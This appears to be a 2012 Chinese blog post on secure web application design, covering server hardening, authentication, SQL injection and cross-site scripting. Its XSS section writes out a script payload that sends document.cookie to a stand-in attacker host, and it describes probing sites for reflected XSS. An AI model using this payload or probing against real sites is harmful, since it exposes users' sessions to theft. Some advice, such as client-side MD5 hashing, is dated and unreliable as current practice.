web程序的安全性设计

  开发web应用的时候,在安全性需要注意哪些方面呢?搜集资料,简要记录如下:

  一个网站,安全问题可能从多方面而来。光是任何一方面,都不可能保证绝对的安全。一个安全的网站,必须要各方面配合才能打造出来。安全性要从两方面来考虑,一个是系统管理方面的安全性,一个是应用程序的安全性。

 

  一、系统管理方面的安全性考虑

1 、首当其冲的是服务器的安全

  服务器本身如果被人入侵了,你的网站系统再安全,那也没有任何作用。记得要关闭所有没有使用的端口。要设置复杂的密码,关闭没有使用的账户。

2 、其次是FTP 或者远程管理等的帐号安全

  如果人家破解了你的FTP 或者远程管理权限,那也就等于窗户开给人家怕,那家里的东西自然是随便拿了。

3 、应用服务器的安全性。

4 、数据库的安全性

  设置数据库只有应用服务器才能连接。其他外部的机器一概不能连接。设置复杂的密码

5 、数据的安全备份与恢复机制。

6 、防止感染病毒或木马的图片或附件上传到网站上。

7 、使用网页防篡改工具。

8 、使用防火墙、入侵检测、WEB 安全网关等安全软件来保护系统。

9 、使用WEB 应用防火墙

10 、使用漏洞扫描工具对网站进行安全性测试

 

二、网站开发方面的安全性考虑

1. 用户身份验证

  传统的用户验证过程如下:将客户端输入的验证信息进行MD5 加密形成 密文 1” ,发送到服务器端,服务器端从数据库读出验证信息的MD5 值(密文2 ),然后 密文1” 与 密文2” 对比,若相等则认证成功,否则失败。 但是,如果 密文1” 在传输过程中被非法获取,非法用户即使不知道 密文1” 的内容,直接向服务器发送密文1” 并请求验证,则验证可能成功,用户的真实 性无法保证。因此,需要对用户的验证过程进行改进。在客户端请求验证的同时,通过Ajax 技术异步向服务器申请一个临时的验证码,客户端将用户信息进行MD5 混合运算后生成 密文1” ,附加验证码一起发送到服务器,服务器首先检查验证码是否与服务器端一致,若一致,到数据库中检索是否存在 密文1” 的 用户,存在则成功,否则失败。验证码是改进后的验证关键,同时验证码还可以防止入侵者使用程序自动登录服务器,进行密码的暴力破解。因此,技术上要求不能 被复制,不能被扫描仪自动识别,随机生成。采用模糊的图片方式才能达到要求。

2 、使用HTTPS 进行用户身份认证。如果不采用这条,至少要采用第一条。

3 、双重验证

  有些系统只在客户端进行验证,这是很不安全的。因为在传输过程中有可能被恶意篡改,服务器得到的将不是真实的数据,或者直接在URL 中输验证请求,将会绕过客户端的验证程序,提交不安全的数据。因此,可以采用双重验证的方式,客户端 的验证可以提高与用户的交互性,服务器端的验证保证数据的安全性。

4 、抗SQL 注入式攻击

  SQL 注入式攻击是指在输入框或URL 中输入SQL 语句,绕过验证程序,非法获取用户的访问权,进行非法操作的入侵方式。防御SQL 注入式攻击的方法常用两种,一种是使用数据库管理系统的存储过程,另一种是对输入的信息和URL 请求信息中的敏感关键字过滤。

  怎样防止SQL 注入?
    
 比如URL 、表单等提交信息时,通过一段防止SQL 注入的过滤代码即可防止出错信息暴露,或者通过转向,当系统出错时转到一个提示出错的页面等。同时服务器权限设置是一个非常重要的方面,由于涉及到服务器的配置比较多,本文不介绍。

对于文本型输入,如果要进行检查,就得根据字段本身的性质进行。例如如果是年龄,就得限定必须是数字,大小必须限定在一个范围之间,比如说18-120 之间。对于用户名,应该建立一个集合,这个集合里存放有被允许的字符,或被禁止的字符。

这里特别需要说明的一点是关于检查程序的问题。目前,程序对输入数据的检查是在前台通过客户端脚本完成的,这样攻击者很容易就可以绕过检查程序。建议采用前后台结合的方法,既可以保证效率,有可以提高安全性。

5 、使用Acegi 进行权限控制。   

6 、网站的错误信息必须经过处理后再输出

  错误消息常常包含非常可怕的技术细节,帮助黑客攻破您的网站,您应当对网站底层程序的错误消息进行处理,防止那些调试信息,技术细节暴露给普通访问者。

7 、抗Cross-Site Scripting

  风险:

    可以偷盗或者操作用户Session 和Cookie ,这样攻击者可以扮演一个合法的客户进行操作。 

  技术说明:

    Cross-Site Scripting 是一种秘密攻击行为,它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实:网站未对用户在页面中输入的JavaScript (通常是作为参数值)进行清洗(消毒)。这样,当在返回信息中包含这段JavaScript 代码,这段代码就会在客户端的Browser 中执行。这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie ,

    攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接,将会向包含恶意代码作为参数的网站发起一个请求。如果这个网站将这串参数值(恶意代码)嵌入在返回中,恶意代码将在客户端的浏览器中执行: 

  恶意代码可能会做:

  1. 将用户的cookie 发送给攻击者

  2. 将能够通过Dom(URLs, Form field 。。。) 取到的信息发送给攻击者,结果是客户的安全性受到了威胁。

  一些注释:

  1. 虽然攻击者的Web Site 也被卷入,但是并没有直接包含进来。攻击者通过采用“jump station ”方式将返回客户,好像是合法的(It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. )。无论如何,由于用户是在使用这个特定的网站,而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。

  2. 这个怀有恶意的链接由攻击者生成,可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email 的方式发送给受害人。

  3 .由于用户输入是作为form 的字段值,可以知道这串恶意代码从什么地方来的,

  4. 各种浏览器实现的不一样,有时候在这种浏览器上没有问题,但是换一种浏览器就会有问题。 

  攻击方法:

    写一个链接:  参数值为:

<SCRIPT>

document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie

</SCRIPT>

    这样,当服务器返回时,上面这串脚本将自动执行,将本地的Cookie 发现指定的URL ,用户资料泄露了。 

  根本原因:

  1. 没有对输入进行约束,没有对输出进行编码
  2. 没有严格区分“ 数据” 和“ 代码”

   解决方式:

  1. 加强对参数的校验:
  一定要做,大量的漏洞都是针对参数未作校验引出很多攻击手法( 会有如何检查参数的单独说明) 

  使用时机:

  我尝试在各种不同网站寻找 XSS 漏洞, baidu, amazon.cn, youku.com,dangdang.com 等等。结果,我发现XSS 漏洞非常普遍!其实XSS 利用的是网页的回显,即,接收用户的输入,然后再在页面 显示用户的输入。总结一下几个可能会出现漏洞的地方:

  1.    搜索引擎

  2.    留言板

  3.    错误页面

  通过在上面那些类型的页面输入一些特殊的字符(包括< > / " ),如:</?jjkk> ,然后在结果页中的源码处搜索是否存在原样的:</?jjkk> ,如果存在,恭喜你,发现了一个XSS 漏洞。

  危害:

  1.    盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2.    控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3.    盗窃企业重要的具有商业价值的资料

  4.    非法转账

  5.    强制发送电子邮件

  6.    网站挂马

  7.    控制受害者机器向其它网站发起攻击

  发现问题:

  1.    查找所有包含用户输入的入口。

  2.    跟踪流入应用程序的每一个数据。

  3.    确定数据是否与输出有关系。

  4.    如果与输出有关,它是不是原始数据,是不是经过处理的?

 

 

posted @ 2012-09-01 13:19  蓝雨天  阅读(972)  评论(0编辑  收藏  举报